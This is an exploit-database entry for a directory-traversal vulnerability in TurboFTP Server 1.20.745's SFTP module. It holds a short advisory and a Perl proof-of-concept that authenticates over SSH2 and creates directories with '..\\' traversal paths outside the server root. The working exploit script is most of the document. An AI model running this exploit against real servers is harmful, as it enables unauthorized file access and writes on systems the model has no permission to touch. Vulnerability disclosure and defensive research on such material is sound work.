TurboFTP Server 1.20.745 – Directory Traversal

• Exploit Database
• 19 阅读

• 作者： leinakesi
  日期： 2010-06-17
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/34156/

• source: https://www.securityfocus.com/bid/40919/info
  
  TurboFTP Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.
  
  Exploiting this issue can allow an attacker to download or upload arbitrary files outside the root directory. This may aid in further attacks.
  
  TurboFTP Server 1.20.745 is vulnerable; prior versions may also be affected. 
  
  #!/usr/bin/perl
  #leinakesi[at]gmail.com
  #turboFTP Server(sftp module) directory traversal vulnerability
  
  use Net::SSH2;
  use Getopt::Std;
  
  
  @FUZZ = ("..\\A\\", "..\\AA");
  getopts('S:P:u:p:', \%opts);
  $server = $opts{'S'}; $port = $opts{'P'}; $user = $opts{'u'}; $pass = $opts{'p'};
  
  if(!defined($server) || !defined($port) || !defined($user) || !defined($pass) ) {
  	print "usage:\n\tperl	test.pl -S [IP] -P [port] -u [user] -p [password]\nexample:\n";
  	print "\tperl	test.pl -S 192.168.48.114 -P 22 -u chloe -p 111111\n";
  	exit(0);
  }
  
  $ssh2 = Net::SSH2->new();
  $ssh2->connect($server, $port) || die "can not connect the server, please check.\n"; $ssh2->auth_password($user, $pass) || die "you sure user name and password are correct?\n"; $sftp = $ssh2->sftp();
  
  foreach(@FUZZ)
  {
  	if($m = $sftp->mkdir($_))
  	{
  		print "mkdir success,$_\n";
  	}
  }
  
  $ssh2->disconnect();
  exit(0);